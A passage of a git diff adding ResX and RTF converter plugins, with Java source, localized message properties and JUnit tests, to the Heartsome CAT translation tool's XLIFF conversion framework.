long endTime = 0; + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger2"), endTime); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger3"), endTime - startTime); + } + monitor.worked(2); + + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("resx.cancel")); + } + monitor.subTask(Messages.getString("resx.Xliff2Resx.task3")); + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger4"), startTime); + } + Element root = xmlResx.getRootElement(); + List lstNodes = root.getChildren(); + for (int i = 0; i < lstNodes.size(); i++) { + Element node = lstNodes.get(i); + List lstChilds = node.getContent(); + for (int j = 0; j < lstChilds.size(); j++) { + if (lstChilds.get(j).getNodeType() == Node.ELEMENT_NODE) { + Element child = new Element(lstChilds.get(j)); + if (isConvNode(child)) { + Element newChild = new Element("value", xmlResx); //$NON-NLS-1$ + newChild.clone(child, xmlResx); + lstChilds.set(j, newChild.getElement()); + } + } + } + node.setContent(lstChilds); + } + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger5"), endTime); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger6"), endTime - startTime); + } + monitor.worked(1); + + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("resx.cancel")); + } + monitor.subTask(Messages.getString("resx.Xliff2Resx.task4")); + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger7"), startTime); + } + saveXml(xmlResx, inputFile); + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger8"), endTime); + LOGGER.info(Messages.getString("resx.Xliff2Resx.logger9"), endTime - startTime); + } + monitor.worked(2); + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("resx.Xliff2Resx.msg1"), + e); + } finally { + monitor.done(); + } + infoLogger.endConversion(); + return result; + } + } + + /** + * Checks if is conv node. + * @param node + * the node + * @return true, if is conv node + */ + private static boolean isConvNode(Element node) { + return node.getName().equals("translate"); //$NON-NLS-1$ + } + + /** + * Open xml. + * @param filename + * the filename + * @param catalogue + * the catalogue + * @return the document + * @throws Exception + * the exception + */ + private static Document openXml(String filename, String catalogue) throws Exception { + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + return builder.build(filename); + } + + // Save the xml to a file + /** + * Save xml. + * @param xmlDoc + * the xml doc + * @param xmlFile + * the xml file + * @throws Exception + * the exception + */ + private static void saveXml(Document xmlDoc, String xmlFile) throws Exception { + XMLOutputter outputter = new XMLOutputter(); + outputter.preserveSpace(true); + FileOutputStream soutput = new FileOutputStream(xmlFile); + outputter.output(xmlDoc, soutput); + soutput.close(); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/Messages.java new file mode 100644 index 0000000..e890d1b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.resx.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.resx.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message.properties b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message.properties new file mode 100644 index 0000000..e2e550f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message.properties @@ -0,0 +1,24 @@ +#resx.Resx2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +resx.Resx2Xliff.task2 = \u6b63\u5728\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9... +resx.Resx2Xliff.task3 = \u6b63\u5728\u5904\u7406\u5185\u5bb9\u5217\u8868... +resx.Resx2Xliff.task4 = \u6b63\u5728\u751f\u6210\u4e2d\u95f4\u4e34\u65f6\u6587\u4ef6... +resx.Resx2Xliff.msg1 = ResX \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +resx.Xliff2Resx.msg1 = XLIFF \u8f6c\u6362 ResX \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#resx.Xliff2Resx.task1 = \u6b63\u5728\u8f6c\u6362... +resx.Xliff2Resx.task2 = \u6b63\u5728\u52a0\u8f7d\u4e2d\u95f4\u6587\u4ef6... +resx.Xliff2Resx.task3 = \u6b63\u5728\u5904\u7406\u6240\u52a0\u8f7d\u7684\u4e2d\u95f4\u6587\u4ef6... +resx.Xliff2Resx.task4 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +resx.Xliff2Resx.logger1 = [LOG] \u5f00\u59cb\u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger2 = [LOG] \u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger3 = [LOG] \u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +resx.Xliff2Resx.logger4 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger5 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger6 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +resx.Xliff2Resx.logger7 = [LOG] \u5f00\u59cb\u751f\u6210 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger8 = [LOG] \u751f\u6210 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger9 = [LOG] \u751f\u6210 XLIFF \u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +resx.TYPE_NAME_VALUE = Windows .NET \u8d44\u6e90\u6587\u4ef6 (RESX) +resx.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message_en.properties new file mode 100644 index 0000000..b2779b2 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message_en.properties @@ -0,0 +1,24 @@ +#resx.Resx2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +resx.Resx2Xliff.task2 = Reading files... +resx.Resx2Xliff.task3 = Processing List of content... +resx.Resx2Xliff.task4 = Generating intermediate temporary files... +resx.Resx2Xliff.msg1 = Failed to convert ResX to XLIFF. Please try again. + +resx.Xliff2Resx.msg1 = Failed to convert XLIFF to ResX. Please try again. +#resx.Xliff2Resx.task1 = \u6b63\u5728\u8f6c\u6362... +resx.Xliff2Resx.task2 = Loading intermediate files... +resx.Xliff2Resx.task3 = Processing intermediate files... +resx.Xliff2Resx.task4 = Generating XLIFF files... +resx.Xliff2Resx.logger1 = [LOG] \u5f00\u59cb\u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger2 = [LOG] \u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger3 = [LOG] \u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +resx.Xliff2Resx.logger4 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger5 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger6 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +resx.Xliff2Resx.logger7 = [LOG] \u5f00\u59cb\u751f\u6210 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger8 = [LOG] \u751f\u6210 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger9 = [LOG] \u751f\u6210 XLIFF \u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +resx.TYPE_NAME_VALUE = Windows .NET Resources (RESX) +resx.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message_zh.properties new file mode 100644 index 0000000..e2e550f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/src/net/heartsome/cat/converter/resx/resource/message_zh.properties @@ -0,0 +1,24 @@ +#resx.Resx2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +resx.Resx2Xliff.task2 = \u6b63\u5728\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9... +resx.Resx2Xliff.task3 = \u6b63\u5728\u5904\u7406\u5185\u5bb9\u5217\u8868... +resx.Resx2Xliff.task4 = \u6b63\u5728\u751f\u6210\u4e2d\u95f4\u4e34\u65f6\u6587\u4ef6... +resx.Resx2Xliff.msg1 = ResX \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +resx.Xliff2Resx.msg1 = XLIFF \u8f6c\u6362 ResX \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#resx.Xliff2Resx.task1 = \u6b63\u5728\u8f6c\u6362... +resx.Xliff2Resx.task2 = \u6b63\u5728\u52a0\u8f7d\u4e2d\u95f4\u6587\u4ef6... +resx.Xliff2Resx.task3 = \u6b63\u5728\u5904\u7406\u6240\u52a0\u8f7d\u7684\u4e2d\u95f4\u6587\u4ef6... +resx.Xliff2Resx.task4 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +resx.Xliff2Resx.logger1 = [LOG] \u5f00\u59cb\u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger2 = [LOG] \u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger3 = [LOG] \u52a0\u8f7d\u4e2d\u95f4 XLIFF \u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +resx.Xliff2Resx.logger4 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger5 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger6 = [LOG] \u5904\u7406\u4e2d\u95f4\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +resx.Xliff2Resx.logger7 = [LOG] \u5f00\u59cb\u751f\u6210 XLIFF \u6587\u4ef6\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger8 = [LOG] \u751f\u6210 XLIFF \u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +resx.Xliff2Resx.logger9 = [LOG] \u751f\u6210 XLIFF \u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +resx.TYPE_NAME_VALUE = Windows .NET \u8d44\u6e90\u6587\u4ef6 (RESX) +resx.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.resx/testSrc/net/heartsome/cat/converter/resx/test/Resx2XliffTest.java b/hsconverter/net.heartsome.cat.converter.resx/testSrc/net/heartsome/cat/converter/resx/test/Resx2XliffTest.java new file mode 100644 index 0000000..c06096b --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/testSrc/net/heartsome/cat/converter/resx/test/Resx2XliffTest.java @@ -0,0 +1,130 @@ +package net.heartsome.cat.converter.resx.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.resx.Resx2Xliff; + +import org.junit.AfterClass; +import org.junit.Before; +import org.junit.Test; + +public class Resx2XliffTest { + public static Resx2Xliff converter = new Resx2Xliff(); + private static String srcFile = "rc/Test.resx"; + private static String sklFile = "rc/Test.resx.skl"; + private static String xlfFile = "rc/Test.resx.xlf"; + + @Before + public void setUp() { + File skl = new File(sklFile); + if (skl.exists()) { + skl.delete(); + } + + File xlf = new File(xlfFile); + if (xlf.exists()) { + xlf.delete(); + } + } + + @Test(expected = ConverterException.class) + public void testConvertMissingCatalog() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + // args.put(Converter.ATTR_CATALOGUE, rootFolder + + // "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingSRX() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test(expected = ConverterException.class) + public void testConvertMissingINI() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @AfterClass + public static void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + args.put(Converter.ATTR_IS_RESX, Converter.TRUE); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.resx/testSrc/net/heartsome/cat/converter/resx/test/Xliff2ResxTest.java b/hsconverter/net.heartsome.cat.converter.resx/testSrc/net/heartsome/cat/converter/resx/test/Xliff2ResxTest.java new file mode 100644 index 0000000..5c50746 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.resx/testSrc/net/heartsome/cat/converter/resx/test/Xliff2ResxTest.java @@ -0,0 +1,51 @@ +package net.heartsome.cat.converter.resx.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.resx.Xliff2Resx; + +import org.junit.Before; +import org.junit.Test; + +public class Xliff2ResxTest { + public static Xliff2Resx converter = new Xliff2Resx(); + private static String tgtFile = "rc/Test_en-US.resx"; + private static String sklFile = "rc/Test.resx.skl"; + private static String xlfFile = "rc/Test.resx.xlf"; + + @Before + public void setUp() { + File tgt = new File(tgtFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvert() throws ConverterException { + String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfFile); + args.put(Converter.ATTR_SKELETON_FILE, sklFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.rtf/.classpath b/hsconverter/net.heartsome.cat.converter.rtf/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.rtf/.gitignore b/hsconverter/net.heartsome.cat.converter.rtf/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.rtf/.project b/hsconverter/net.heartsome.cat.converter.rtf/.project new file mode 100644 index 0000000..48a913e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.rtf + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.rtf/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.rtf/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..dd61a7e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Fri Jun 11 18:16:07 GMT+08:00 2010 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/hsconverter/net.heartsome.cat.converter.rtf/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.rtf/META-INF/MANIFEST.MF new file mode 100644 index 0000000..56b205a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/META-INF/MANIFEST.MF @@ -0,0 +1,14 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Converter RTF +Bundle-SymbolicName: net.heartsome.cat.converter.rtf +Bundle-Version: 8.0.2.R8b_v20130426 +Bundle-Activator: net.heartsome.cat.converter.rtf.Activator +Require-Bundle: org.junit4;resolution:=optional, + net.heartsome.cat.converter;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Import-Package: org.eclipse.core.runtime;version="3.4.0", + org.osgi.framework;version="1.5.0" +Export-Package: net.heartsome.cat.converter.rtf +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/hsconverter/net.heartsome.cat.converter.rtf/build.properties b/hsconverter/net.heartsome.cat.converter.rtf/build.properties new file mode 100644 index 0000000..7aaf591 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/build.properties @@ -0,0 +1,5 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Activator.java b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Activator.java new file mode 100644 index 0000000..b2bbbbf --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Activator.java @@ -0,0 +1,100 @@ +/** + * Activator.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.rtf; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.osgi.framework.BundleActivator; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * The Class Activator.The activator class controls the plug-in life cycle. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Activator implements BundleActivator { + + /** The Constant PLUGIN_ID. */ + public static final String PLUGIN_ID = "net.heartsome.cat.converter.rtf"; + + // The shared instance + /** The plugin. */ + private static Activator plugin; + + /** The rtf2 xliff sr. */ + private ServiceRegistration rtf2XliffSR; + + /** The xliff2 rtf sr. */ + private ServiceRegistration xliff2RtfSR; + + /** + * The constructor. + */ + public Activator() { + } + + /** + * (non-Javadoc). + * @param context + * the context + * @throws Exception + * the exception + * @see org.osgi.framework.BundleActivator#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + plugin = this; + // register the converter services + Converter rtf2Xliff = new Rtf2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Rtf2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Rtf2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Rtf2Xliff.TYPE_NAME_VALUE); + rtf2XliffSR = ConverterRegister.registerPositiveConverter(context, rtf2Xliff, properties); + + Converter xliff2Rtf = new Xliff2Rtf(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Rtf.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Rtf.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Rtf.TYPE_NAME_VALUE); + xliff2RtfSR = ConverterRegister.registerReverseConverter(context, xliff2Rtf, properties); + } + + /** + * (non-Javadoc). + * @param context + * the context + * @throws Exception + * the exception + * @see org.osgi.framework.BundleActivator#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + if (rtf2XliffSR != null) { + rtf2XliffSR.unregister(); + } + if (xliff2RtfSR != null) { + xliff2RtfSR.unregister(); + } + plugin = null; + } + + /** + * Returns the shared instance. + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Rtf2Xliff.java b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Rtf2Xliff.java new file mode 100644 index 0000000..393589e --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.rtf/src/net/heartsome/cat/converter/rtf/Rtf2Xliff.java @@ -0,0 +1,2917 @@ +/** + * Rtf2Xliff.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.rtf; + +import java.io.ByteArrayInputStream; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Stack; +import java.util.StringTokenizer; +import java.util.Vector; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.StringSegmenter; +import net.heartsome.cat.converter.rtf.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * The Class Rtf2Xliff. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Rtf2Xliff implements Converter { + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "rtf"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("rtf.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "RTF to XLIFF Conveter"; + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Rtf2XliffImpl converter = new Rtf2XliffImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String 